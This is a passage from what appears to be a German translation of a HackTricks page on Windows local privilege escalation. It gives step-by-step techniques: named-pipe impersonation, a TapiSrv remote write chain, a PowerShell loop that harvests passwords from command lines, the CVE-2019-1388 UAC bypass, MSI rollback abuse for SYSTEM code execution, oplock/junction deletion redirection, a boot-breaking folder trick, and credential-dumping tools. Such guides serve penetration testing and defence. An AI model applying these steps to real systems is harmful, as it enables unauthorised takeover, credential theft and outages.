Wenn Daten durch eine Pipe von einem client gesendet werden, kann der server, der die Pipe eingerichtet hat, die IdentitĂ€t des client ĂŒbernehmen, sofern er die notwendigen SeImpersonate-Rechte besitzt. Die Identifizierung eines privilegierten Prozesses, der ĂŒber eine von dir nachgeahmte Pipe kommuniziert, bietet die Möglichkeit, durch Übernahme der IdentitĂ€t dieses Prozesses höhere Rechte zu erlangen, sobald er mit der von dir eingerichteten Pipe interagiert. Anleitungen zur DurchfĂŒhrung eines solchen Angriffs findest du hier und hier.

Auch das folgende Tool erlaubt es, eine named pipe Kommunikation mit einem Tool wie burp abzufangen: https://github.com/gabriel-sztejnworcel/pipe-intercept und dieses Tool erlaubt es, alle Pipes aufzulisten und zu sehen, um privescs zu finden https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Der Telephony-Dienst (TapiSrv) im Servermodus stellt \\pipe\\tapsrv (MS-TRP) bereit. Ein entfernt authentifizierter Client kann den mailslot-basierten asynchronen Eventpfad missbrauchen, um ClientAttach in einen beliebigen 4-byte write auf jede vorhandene, von NETWORK SERVICE beschreibbare Datei umzuwandeln, anschließend Telephony-Administratorrechte zu erlangen und eine beliebige DLL als Dienst zu laden. VollstĂ€ndiger Ablauf:

  • ClientAttach mit pszDomainUser gesetzt auf einen vorhandenen, beschreibbaren Pfad → der Dienst öffnet ihn via CreateFileW(..., OPEN_EXISTING) und nutzt ihn fĂŒr asynchrone Event-SchreibvorgĂ€nge.
  • Jeder Event schreibt den vom Angreifer kontrollierten InitContext aus Initialize in dieses Handle. Registriere eine Line-App mit LRegisterRequestRecipient (Req_Func 61), löse TRequestMakeCall (Req_Func 121) aus, hole via GetAsyncEvents (Req_Func 0) ab, und deregistriere/fahre herunter, um deterministische SchreibvorgĂ€nge zu wiederholen.
  • FĂŒge dich zu [TapiAdministrators] in C:\\Windows\\TAPI\\tsec.ini hinzu, verbinde neu, rufe dann GetUIDllName mit einem beliebigen DLL-Pfad auf, um TSPI_providerUIIdentify als NETWORK SERVICE auszufĂŒhren.

Weitere Details:

Telephony Tapsrv Arbitrary Dword Write To Rce

Verschiedenes

Dateiendungen, die in Windows etwas ausfĂŒhren können

Siehe die Seite https://filesec.io/

Überwachung von Kommandozeilen auf Passwörter

Wenn du eine Shell als Benutzer erhĂ€ltst, kann es geplante Tasks oder andere Prozesse geben, die ausgefĂŒhrt werden und dabei Anmeldedaten in der Kommandozeile ĂŒbergeben. Das untenstehende Script erfasst Prozess-Kommandozeilen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen, wobei es alle Unterschiede ausgibt.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Passwörter aus Prozessen stehlen

Vom Benutzer mit geringen Rechten zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Wenn Sie Zugriff auf die grafische OberflĂ€che (ĂŒber console oder RDP) haben und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen anderen Prozess wie “NT\AUTHORITY SYSTEM” aus einem unprivilegierten Benutzerkontext zu starten.

Das ermöglicht sowohl die Privilegieneskalation als auch das Umgehen von UAC gleichzeitig mittels derselben Schwachstelle. ZusÀtzlich ist es nicht erforderlich, etwas zu installieren, und die wÀhrend des Prozesses verwendete BinÀrdatei ist von Microsoft signiert und herausgegeben.

Einige der betroffenen Systeme sind die folgenden:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Sie haben alle notwendigen Dateien und Informationen im folgenden GitHub-Repository:

https://github.com/jas502n/CVE-2019-1388

Von Administrator (Medium) zu High Integrity Level / UAC-Bypass

Lies dies, um etwas ĂŒber Integrity Levels zu lernen:

Integrity Levels

Lies dann dies, um mehr ĂŒber UAC und UAC-BypĂ€sse zu erfahren:

UAC - User Account Control

Von Arbitrary Folder Delete/Move/Rename zu SYSTEM EoP

Die Technik, die in diesem Blogpost beschrieben wird, mit einem Exploit-Code hier verfĂŒgbar.

Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer zu missbrauchen, um legitime Dateien wÀhrend des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen bösartigen MSI-Installer erstellen, der verwendet wird, um den Ordner C:\Config.Msi zu kapern. Dieser Ordner wird spÀter vom Windows Installer genutzt, um Rollback-Dateien wÀhrend der Deinstallation anderer MSI-Pakete zu speichern, wobei diese Rollback-Dateien so verÀndert werden, dass sie die bösartige Nutzlast enthalten.

Die zusammengefasste Technik ist wie folgt:

  1. Stufe 1 – Vorbereitung fĂŒr die Übernahme (lasse C:\Config.Msi leer)

  • Step 1: Install the MSI

  • Erstelle ein .msi, das eine harmlose Datei installiert (z. B. dummy.txt) in einem beschreibbaren Ordner (TARGETDIR).

  • Markiere den Installer als “UAC Compliant”, sodass ein non-admin user ihn ausfĂŒhren kann.

  • Halte nach der Installation einen handle auf die Datei offen.

  • Step 2: Begin Uninstall

  • Deinstalliere dasselbe .msi.

  • Der Deinstallationsprozess beginnt, Dateien nach C:\Config.Msi zu verschieben und sie in .rbf-Dateien (Rollback-Backups) umzubenennen.

  • Poll the open file handle mit GetFinalPathNameByHandle, um zu erkennen, wann die Datei zu C:\Config.Msi\<random>.rbf wird.

  • Step 3: Custom Syncing

  • Das .msi enthĂ€lt eine custom uninstall action (SyncOnRbfWritten), die:

  • signalisiert, wenn .rbf geschrieben wurde.

  • und dann auf ein anderes Event waits, bevor die Deinstallation fortgesetzt wird.

  • Step 4: Block Deletion of .rbf

  • Wenn signalisiert, öffne die .rbf-Datei ohne FILE_SHARE_DELETE — das verhindert, dass sie gelöscht wird.

  • Dann signal back, damit die Deinstallation beendet werden kann.

  • Windows Installer kann die .rbf nicht löschen, und weil nicht alle Inhalte gelöscht werden können, wird C:\Config.Msi nicht entfernt.

  • Step 5: Manually Delete .rbf

  • Du (Angreifer) löscht die .rbf-Datei manuell.

  • Jetzt ist C:\Config.Msi leer, bereit zur Übernahme.

An diesem Punkt trigger the SYSTEM-level arbitrary folder delete vulnerability, um C:\Config.Msi zu löschen.

  1. Stufe 2 – Ersetzen der Rollback-Skripte durch bösartige

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Erstelle den Ordner C:\Config.Msi selbst neu.

  • Setze schwache DACLs (z. B. Everyone:F), und halte einen handle offen mit WRITE_DAC.

  • Step 7: Run Another Install

  • Installiere das .msi erneut mit:

  • TARGETDIR: beschreibbarer Ort.

  • ERROROUT: eine Variable, die einen erzwungenen Fehler auslöst.

  • Diese Installation wird erneut verwendet, um rollback auszulösen, das .rbs und .rbf liest.

  • Step 8: Monitor for .rbs

  • Verwende ReadDirectoryChangesW, um C:\Config.Msi zu ĂŒberwachen, bis ein neues .rbs erscheint.

  • Erfasse dessen Dateinamen.

  • Step 9: Sync Before Rollback

  • Das .msi enthĂ€lt eine custom install action (SyncBeforeRollback), die:

  • ein Event signalisiert, wenn das .rbs erstellt wurde.

  • und dann waits, bevor sie fortfĂ€hrt.

  • Step 10: Reapply Weak ACL

  • Nachdem das '.rbs created'-Event empfangen wurde:

  • wendet der Windows Installer wieder starke ACLs auf C:\Config.Msi an.

  • Aber da du noch einen Handle mit WRITE_DAC offen hast, kannst du die schwachen ACLs erneut anwenden.

ACLs werden nur beim Öffnen eines Handles durchgesetzt, daher kannst du weiterhin in den Ordner schreiben.

  • Step 11: Drop Fake .rbs and .rbf

  • Überschreibe die .rbs-Datei mit einem gefĂ€lschten Rollback-Skript, das Windows anweist:

  • deine .rbf-Datei (bösartige DLL) in einen privilegierten Ort wiederherzustellen (z. B. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • deine gefĂ€lschte .rbf abzulegen, die eine bösartige SYSTEM-Level Payload-DLL enthĂ€lt.

  • Step 12: Trigger the Rollback

  • Signalisiere das Sync-Event, damit der Installer fortfĂ€hrt.

  • Eine type 19 custom action (ErrorOut) ist so konfiguriert, dass die Installation absichtlich an einem bekannten Punkt fehlschlĂ€gt.

  • Das verursacht, dass der Rollback beginnt.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • liest dein bösartiges .rbs.

  • kopiert deine .rbf-DLL an den Zielort.

  • Du hast jetzt deine bösartige DLL in einem von SYSTEM geladenen Pfad.

  • Final Step: Execute SYSTEM Code

  • Starte ein vertrauenswĂŒrdiges auto-elevated binary (z. B. osk.exe), das die von dir gekaperte DLL lĂ€dt.

  • Boom: Dein Code wird als SYSTEM ausgefĂŒhrt.

Von Arbitrary File Delete/Move/Rename zu SYSTEM EoP

Die Haupt-MSI-Rollback-Technik (die vorherige) geht davon aus, dass du einen gesamten Ordner löschen kannst (z. B. C:\Config.Msi). Aber was, wenn deine Schwachstelle nur arbitrary file deletion erlaubt?

Du könntest die NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom, genannt:

C:\SomeFolder::$INDEX_ALLOCATION

Dieser Stream speichert die Index-Metadaten des Ordners.

Wenn Sie also den Stream ::$INDEX_ALLOCATION eines Ordners löschen, entfernt NTFS den gesamten Ordner aus dem Dateisystem.

Sie können dies mit Standard-Dateilösch-APIs wie:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Auch wenn du eine file delete API aufrufst, sie löscht den Ordner selbst.

Vom Löschen von Ordnerinhalten zu SYSTEM EoP

Was, wenn deine primitive Operation es dir nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber sie das Löschen des Inhalts eines vom Angreifer kontrollierten Ordners erlaubt?

  1. Schritt 1: Einen Köder-Ordner und eine Datei anlegen
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Schritt 2: Setze ein oplock auf file1.txt
  • Das oplock unterbricht die AusfĂŒhrung, wenn ein privilegierter Prozess versucht, file1.txt zu löschen.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Schritt 3: SYSTEM-Prozess auslösen (z. B. SilentCleanup)
  • Dieser Prozess durchsucht Ordner (z. B. %TEMP%) und versucht, deren Inhalt zu löschen.
  • Wenn es file1.txt erreicht, wird der oplock löst aus und ĂŒbergibt die Kontrolle an deinen callback.
  1. Schritt 4: Innerhalb des oplock callback – leite die Löschung um

  • Option A: Verschiebe file1.txt an einen anderen Ort

  • Dadurch wird folder1 geleert, ohne den oplock zu brechen.

  • Lösche file1.txt nicht direkt — das wĂŒrde den oplock vorzeitig freigeben.

  • Option B: Wandle folder1 in eine junction um:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Option C: Erstelle einen symlink in \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Dies zielt auf den NTFS-internen Stream ab, der die Ordner-Metadaten speichert — löscht man ihn, wird der Ordner gelöscht.

  1. Schritt 5: oplock freigeben
  • Der SYSTEM-Prozess fĂ€hrt fort und versucht, file1.txt zu löschen.
  • Aber jetzt, aufgrund des junction + symlink, löscht er tatsĂ€chlich:
C:\Config.Msi::$INDEX_ALLOCATION

Ergebnis: C:\Config.Msi wird von SYSTEM gelöscht.

Von beliebiger Folder-Erstellung zu permanentem DoS

Nutze ein Primitiv, das es dir ermöglicht, einen beliebigen folder als SYSTEM/admin zu erstellen — selbst wenn du keine files schreiben oder schwache Berechtigungen setzen kannst.

Erstelle einen folder (kein file) mit dem Namen eines kritischen Windows driver, z. B.:

C:\Windows\System32\cng.sys
  • Dieser Pfad entspricht normalerweise dem Kernelmodus-Treiber cng.sys.
  • Wenn du ihn als Ordner vorab erstellst, kann Windows den eigentlichen Treiber beim Bootvorgang nicht laden.
  • Dann versucht Windows, cng.sys wĂ€hrend des Bootvorgangs zu laden.
  • Es sieht den Ordner, kann den eigentlichen Treiber nicht auflösen, und stĂŒrzt ab oder stoppt den Bootvorgang.
  • Es gibt keinen Fallback, und keine Wiederherstellung ohne externe Intervention (z. B. Boot-Reparatur oder Zugriff auf die Festplatte).

Von High Integrity zu SYSTEM

Neuer Dienst

Wenn du bereits in einem High Integrity-Prozess arbeitest, kann der Weg zu SYSTEM einfach sein, indem du einfach einen neuen Dienst erstellst und ausfĂŒhrst:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Beim Erstellen einer Service-BinĂ€rdatei stelle sicher, dass es sich um einen gĂŒltigen Service handelt oder dass die BinĂ€rdatei die notwendigen Aktionen schnell ausfĂŒhrt, da sie sonst nach 20 s beendet wird.

AlwaysInstallElevated

Von einem High Integrity-Prozess aus kannst du versuchen, die AlwaysInstallElevated-Registry-EintrÀge zu aktivieren und eine reverse shell mit einem .msi Wrapper zu installieren.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Du kannst find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Wenn du diese Token-Privilegien hast (wahrscheinlich findest du das in einem bereits High Integrity-Prozess), kannst du fast jeden Prozess öffnen (außer protected processes) mit dem SeDebug-Privileg, das Token des Prozesses kopieren und einen beliebigen Prozess mit diesem Token erstellen.
Bei dieser Technik wĂ€hlt man ĂŒblicherweise einen Prozess, der als SYSTEM lĂ€uft und alle Token-Privilegien besitzt (ja, du kannst SYSTEM-Prozesse ohne alle Token-Privilegien finden).
You can find an example of code executing the proposed technique here.

Named Pipes

Diese Technik wird von meterpreter verwendet, um in getsystem zu eskalieren. Die Technik besteht darin, eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, um in diese Pipe zu schreiben. Dann kann der Server, der die Pipe mit dem SeImpersonate-Privileg erstellt hat, das Token des Pipe-Clients (des Services) impersonifizieren und SYSTEM-Privilegien erlangen.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Wenn es dir gelingt, eine dll zu hijacken, die von einem Prozess geladen wird, der als SYSTEM lĂ€uft, kannst du beliebigen Code mit diesen Rechten ausfĂŒhren. Daher ist Dll Hijacking auch fĂŒr diese Art von Privilege Escalation nĂŒtzlich und darĂŒber hinaus deutlich einfacher von einem High Integrity-Prozess aus zu erreichen, da dieser Schreibrechte in den Ordnern hat, die zum Laden von dlls verwendet werden.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Siehe: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – PrĂŒft auf Fehlkonfigurationen und sensible Dateien (check here). Erkannt.
JAWS – PrĂŒft auf einige mögliche Fehlkonfigurationen und sammelt Informationen (check here).
privesc – PrĂŒft auf Fehlkonfigurationen
SessionGopher – Extrahiert gespeicherte Sitzungsinformationen von PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP. Lokal mit -Thorough verwenden.
Invoke-WCMDump – Extrahiert Credentials aus dem Credential Manager. Erkannt.
DomainPasswordSpray – VersprĂŒht gesammelte Passwörter im Domain-Kontext
Inveigh – Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS Spoofer und Man-in-the-Middle-Tool.
WindowsEnum – Basis-Privesc Windows-Enumeration
Sherlock ~~~~ – Sucht nach bekannten privesc-Schwachstellen (VERALTET zugunsten von Watson)
WINspect – Lokale Checks (Benötigt Admin-Rechte)

Exe

Watson – Sucht nach bekannten privesc-Schwachstellen (muss mit VisualStudio kompiliert werden) (precompiled)
SeatBelt – Enumeriert den Host und sucht nach Fehlkonfigurationen (mehr ein Info-Gathering-Tool als reines Privesc-Tool) (muss kompiliert werden) (precompiled)
LaZagne – Extrahiert Credentials aus vielen Programmen (precompiled exe auf GitHub)
SharpUP – Port von PowerUp nach C#
Beroot ~~~~ – PrĂŒft auf Fehlkonfigurationen (ausfĂŒhrbare Datei vorcompiliert auf GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.
Windows-Privesc-Check – PrĂŒft auf mögliche Fehlkonfigurationen (exe aus Python). Nicht empfohlen. Funktioniert nicht gut unter Win10.

Bat

winPEASbat – Tool basierend auf diesem Beitrag (benötigt accesschk nicht zwingend, kann es aber nutzen).

Local

Windows-Exploit-Suggester – Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokal, Python)
Windows Exploit Suggester Next Generation – Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokal, Python)

Meterpreter

multi/recon/local_exploit_suggestor

Du musst das Projekt mit der korrekten Version von .NET kompilieren (see this). Um die installierte Version von .NET auf dem Opfer-Host zu sehen, kannst du Folgendes tun:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referenzen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks